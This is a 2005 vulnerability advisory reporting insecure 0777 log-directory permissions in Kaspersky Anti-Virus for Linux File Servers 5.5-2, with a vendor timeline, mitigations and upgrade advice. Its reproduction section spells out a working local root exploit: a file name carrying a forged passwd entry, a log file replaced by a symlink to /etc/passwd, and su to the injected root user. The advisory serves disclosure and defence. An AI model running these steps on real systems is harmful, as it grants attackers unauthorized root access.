Type packetstorm
Reporter Dr. Peter Bieringer
Modified 2005-08-13T00:00:00


a new version is already available and a proposed workaround is described   
at the end of the advisory.  
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Author: Dr. Peter Bieringer  
Contact: info at aerasec dot de  
Version: 2005-08-12  
Title: Insecure directory permissions of default installation of Kaspersky  
Anti-Virus for Unix/Linux File Servers will lead to local root exploit  
Because of insecure permissions (777) of the kav log directory, any  
unprivileged local user is able to remove the log file and replace it with  
a symlink. Because of file names beeing logged, a symlink pointing to  
/etc/passwd can be used to create additional users with root permissions  
and empty password.  
Additional URLs:  
Change Log:  
2005-06-14: initial version (internal)  
2005-07-29: update because of availability of new version (internal)  
Vendor notification/information:  
2005-04-19: to support@kaspersky.com about insecure permissions in general   
version 5.0-5 -> no reaction  
2005-04-29: to German techsupport about insecure permissions in general in  
version 5.0-5 -> got insuffient answer at 2005-05-11  
2005-06-14: to support@kaspersky.com about a possible local-root exploit in  
version 5.5-2 -> got response on 2005-06-15  
2005-07-26: got new version 5.5-3 from vendor for testing  
2005-08-12: minor review before publishing  
Tested version:  
Probably also affected versions:  
How to reproduce:  
1) Install software:  
# rpm -ihv kav4fileservers-linux-5.5-2.i386.rpm  
Preparing... ###########################################   
1:kav4fileservers-linux ###########################################   
Kaspersky Anti-Virus for Unix has been installed successfully  
but needs to be properly configured before using.  
Unfortunately, RPM is not able to run scripts interactively, so  
please run /opt/kav/5.5/kav4unix/setup/postinstall.pl  
script by yourself to configure it.  
2) Configure software:  
# /opt/kav/5.5/kav4unix/setup/postinstall.pl  
Installing license files.  
License file (a file with .key extension) is your personal  
license key. You need to install it to use the application.  
To install it right now, just enter the path to the location of  
your license file (enter an empty string to continue without key  
file installation):  
License file ./********.key has been installed  
Configuring KeepUp2Date proxy settings.  
If you use an http proxy server to access the Internet, you need  
to tell the Kaspersky Anti-Virus for Unix KeepUp2Date component  
about it. Please enter the address of your http proxy server in  
one of the following forms, http://proxyIP:port or  
http://user:pass@proxyIP:port. If you don't have or need a proxy  
server to access the Internet, enter 'no' here:  
Latest anti-virus bases are an essential part of your anti-virus  
protection. Do you want to download the latest anti-virus bases  
right now to insure your application is up to date? (If you  
answer 'yes', make sure you are connected to the Internet):  
Running keepup2date to update your anti-virus database.  
Kaspersky KeepUp2Date 5.5.2/RELEASE build #98  
Copyright (C) Kaspersky Lab, 1997-2005.  
Portions Copyright (C) Lan Crypto  
Configuration file: /etc/kav/5.5/kav4unix/kav4unix.conf  
Getting product configuration  
Getting updater configuration  
Checking product license keys  
Trying to update from 'http://ru2h.kaspersky-labs.com'  
Copying update description file  
Downloading remote file master.xml  
Checking update description file integrity  
Parsing update description file  
Downloading remote file kavset.xml  
Copying files  
Downloading remote file kavset.xml  
Downloading remote file avcmhk4.dll  
Checking license keys  
Downloading remote file ca.avc  
Checking new bases  
Standard AV bases are OK, latest update: 14-06-2005, total records: 126143.  
Extended AV bases are OK, latest update: 14-06-2005, total records: 133575.  
Redundant AV bases are OK, latest update: 14-06-2005, total records: 134617.  
Clearing reserve dir  
Replacing files  
Saving updater settings  
Saving updater settings  
Default Webmin configuration file was not found. This means that  
either Webmin is not installed at all, or is installed into a  
non-default location.  
Webmin (www.webmin.com) is a web-based interface for system  
administration for various Unix components. If you install it,  
you'll be able to configure and use Kaspersky Anti-Virus through  
the web interface. If you want to use this functionality, but  
haven't installed Webmin yet, you can skip this stage and  
install this module later using Webmin's built-in installation  
If you have Webmin installed in a non-default path, please enter  
the path to the location of the Webmin configuration file, or  
leave blank to skip?  
If you want to use this module later, you can install it using  
Webmin's own installation procedure. The module will be placed  
in /opt/kav/5.5/kav4unix/contrib/kavfs.wbm.  
Would you like to compile the kavmonitor module [Y]:  
Enter the linux kernel source path [/lib/modules/2.6.9-5.EL/build]:  
checking for gcc... gcc  
checking for C compiler default output... a.out  
checking whether the C compiler works... yes  
checking whether we are cross compiling... no  
checking for suffix of executables...  
checking for suffix of object files... o  
checking whether we are using the GNU C compiler... yes  
checking whether gcc accepts -g... yes  
checking for gcc option to accept ANSI C... none needed  
checking build system type... i686-pc-linux-gnu  
checking host system type... i686-pc-linux-gnu  
checking target system type... i686-pc-linux-gnu  
checking for linux kernel sources... /lib/modules/2.6.9-5.EL/build  
checking for linux kernel version... 2.6  
checking for vmlinux... "not found"  
checking for sys_close is exported... "yes"  
checking for do_execve is exported... no, do_execve address=0xc016f3b2  
configure: creating ./config.status  
config.status: creating Makefile  
config.status: creating kavmon.h  
config.status: creating osdef.h  
config.status: creating module.linux/Makefile  
Cleaning module.linux  
make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux'  
rm -f **.o *.ko ../bin//kavmon.ko monitor_helpers.c kernel.c queue.c md5.c  
cache.c util.c cache.h kavmon.h kernel.h md5.h monitor.h  
monitor_helpers.h osdef.h queue.h util.h *.mod.c Makefile.in  
make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux'  
Making link in module.linux  
make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux'  
make -C /lib/modules/2.6.9-5.EL/build  
SUBDIRS=/opt/kav/5.5/kav4unix/src/module.linux modules  
make[2]: Entering directory `/usr/src/kernels/2.6.9-5.EL-i686'  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/utils.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/module.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface_monitor.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface_exploit.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interceptor.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/files.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/monitor_helpers.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/kernel.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/queue.o  
/opt/kav/5.5/kav4unix/src/module.linux/queue.c: In function  
/opt/kav/5.5/kav4unix/src/module.linux/queue.c:450: warning:  
`interruptible_sleep_on' is deprecated (declared at   
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/md5.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/cache.o  
CC [M] /opt/kav/5.5/kav4unix/src/module.linux/util.o  
LD [M] /opt/kav/5.5/kav4unix/src/module.linux/kavmon.o  
Building modules, stage 2.  
CC /opt/kav/5.5/kav4unix/src/module.linux/kavmon.mod.o  
LD [M] /opt/kav/5.5/kav4unix/src/module.linux/kavmon.ko  
make[2]: Leaving directory `/usr/src/kernels/2.6.9-5.EL-i686'  
make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux'  
Kaspersky Anti-Virus for Unix is installed.  
Configuration file was installed in  
Binaries were installed in /opt/kav/5.5/kav4unix/bin  
3) Start kavmonitor  
# /etc/rc.d/init.d/kavmonitor start  
kavmonitor started  
4) Check permissions of log directory  
# stat /var/log/kav/5.5/kav4unix  
File: `/var/log/kav/5.5/kav4unix'  
Size: 4096 Blocks: 16 IO Block: 4096 directory  
Device: 301h/769d Inode: 229107 Links: 2  
Access: (0777/drwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)  
Access: 2005-06-14 13:53:37.263023968 +0200  
Modify: 2005-06-14 13:53:19.987650224 +0200  
Change: 2005-06-14 13:53:19.987650224 +0200  
# ll /var/log/kav/5.5/kav4unix  
total 32  
-rw-r--r-- 1 root root 1933 Jun 14 13:53 kavmonitor.log  
-rw-r--r-- 1 root root 18778 Jun 14 13:51 kavupdater.log  
-> Note the 0777/drwxrwxrwx of /var/log/kav/5.5/kav4unix  
5) Prepare the attack  
a) Setup an unprivileged local user, e.g. named "test":  
b) Switch to user "test":  
$ id  
uid=1001(test) gid=1001(test) groups=1001(test)  
c) Check whether "kavmonitor" is logging well:  
$ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log  
[14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bash_profile OPEN  
[14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bashrc OPEN OK  
[14/06/05 13:55:50 A] pid=7842 uid=1001 /bin/dd EXEC OK  
[14/06/05 13:55:50 A] pid=7842 uid=1001 /home/test/urandom-10k.bin CLOSE  
[14/06/05 13:56:05 A] pid=7844 uid=1001 /usr/bin/hexdump EXEC OK  
[14/06/05 13:56:06 A] pid=7844 uid=1001 /home/test/urandom-10k.bin OPEN  
[14/06/05 13:56:12 A] pid=7846 uid=1001 /usr/bin/head EXEC OK  
[14/06/05 13:56:24 A] pid=7847 uid=1001 /usr/bin/tail EXEC OK  
[14/06/05 13:56:24 A] pid=7847 uid=1001 /lib/tls/libm-2.3.4.so OPEN OK  
[14/06/05 13:56:24 A] pid=7847 uid=1001   
/var/log/kav/5.5/kav4unix/kavmonitor.log OPEN OK  
-> Note that an unprivileged user can take a look at the log file. Nice to   
see which  
files other users are accessing during the time...  
d) Create a special file:  
$ echo "Test" > "  
-> Note that the line breaks are created by typing CTRL-V CTRL-J  
e) Take a look at the result:  
$ ll  
total 32  
-rw-rw-r-- 1 test test 5 Jun 14 14:58 ?hacker::0:0:hacker::?  
f) Now access the file to see what kavmonitor will log:  
$ cat *  
$ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log  
[14/06/05 15:30:07 A] pid=27354 uid=1001 /home/test/  
-> Note that this looks very good now ;-)  
6) Start the attack  
a) Rename the log file, you can do this because of 0777 permissions of the  
$ mv /var/log/kav/5.5/kav4unix/kavmonitor.log   
b) Create a symlink pointing to /etc/passwd  
$ ln -s /etc/passwd /var/log/kav/5.5/kav4unix/kavmonitor.log  
c) Wait until next system reboot or manual restart of "kavmonitor"  
-> Note that "kavmonitor" doesn't check whether the log file is a symlink or  
not, by default it opens the file for appending data.  
-> Watch the result  
$ tail -f /etc/passwd  
[14/06/05 15:42:30 I] There are 1 Kaspersky license keys found:  
[14/06/05 15:42:30 I] License file ********.key, serial ****-*****-********,  
"Kaspersky Anti-Virus Business Optimal for Linux File Server", expires  
**-**-2005 in *** days  
[14/06/05 15:42:31 A] pid=1984 uid=0 /etc/mtab OPEN OK  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/bin/tail EXEC OK  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/ld.so.cache OPEN OK  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libm-2.3.4.so OPEN OK  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/librt-2.3.4.so OPEN  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libc-2.3.4.so OPEN OK  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libpthread-2.3.4.so OPEN  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/lib/locale/locale-archive OPEN  
[14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/passwd OPEN OK  
[14/06/05 15:42:40 A] pid=1807 uid=0 /etc/group OPEN OK  
[14/06/05 15:42:40 A] pid=1807 uid=0 /etc/cups/certs/0 CLOSE OK  
-> Voila, one step before success  
d) Now access the file to see what kavmonitor will log again:  
$ cat *  
$ tail -f /etc/passwd  
[14/06/05 15:45:57 A] pid=27521 uid=1001 /home/test/  
-> Bingo, login/pam usually skip not proper looking entries, so the   
log lines don't cause any confusion.  
e) Switch to the new created user:  
$ su hacker  
sh-3.00# id  
uid=0(root) gid=0(root) groups=0(root)  
-> Take care, what you're doing now, because you have root permissions from  
now on ;-)  
How to protect against this attack:  
1) Administrator related (in case update is not possible):  
a) Fix permissions of log directory (default: 0777)  
# chmod 750 /var/log/kav/5.5/kav4unix  
b) Fix permissions of licenses directory (default: 0777)  
# chmod 755 /var/db/kav/5.5/kav4unix/licenses  
-> Note that otherwise a malicious user can delete the key which prevent  
"keepup2date" from proper working  
2) Vendor related:  
* Upgrade to at least version 5.5-3. It introduces system user/group  
"kluser"/"klusers" and adjusted permissions to prevent normal users  
from running the exploit.  
The new installer already mentioned about this:  
<B>Warning:</B> some files/directories have insecure permissions.  
This is a big security risk. It leads to known <B>local root exploit</B>   
any malicious user has access to this computer. We suggest to fix it by  
changing the permissions to 775 (or 770). Unfortunately that after the   
you will not be able to run keepup2date from non-root user anymore.  
Answer 'Y' if you want fix the permissions now, 'N' if you want to left   
intact, and '?' to see the list of directories and permissions/owners to   
Note that the new installer doesn't take care that "kluser"/"klusers"  
should be created at system user/group. At least Red Hat Linux systems  
would support this by using "-r". We suggest to create them *before*  
installing the new version - this prevents mix-up of uid/gid with normal  
# groupadd -r klusers  
# useradd -r -g klusers -s /sbin/nologin -d /var/db/kav kluser  
Then install the package  
If non-root user (like e.g. amavis) should be able to use "kavscanner",  
proper permissions need to be set after adding the user to the group  
# chgrp klusers /var/db/kav/5.5  
# chmod g+ws /var/db/kav/5.5  
# touch /var/db/kav/5.5/ichecker.db  
# chmod g+w,o-rwx /var/db/kav/5.5/ichecker.db  
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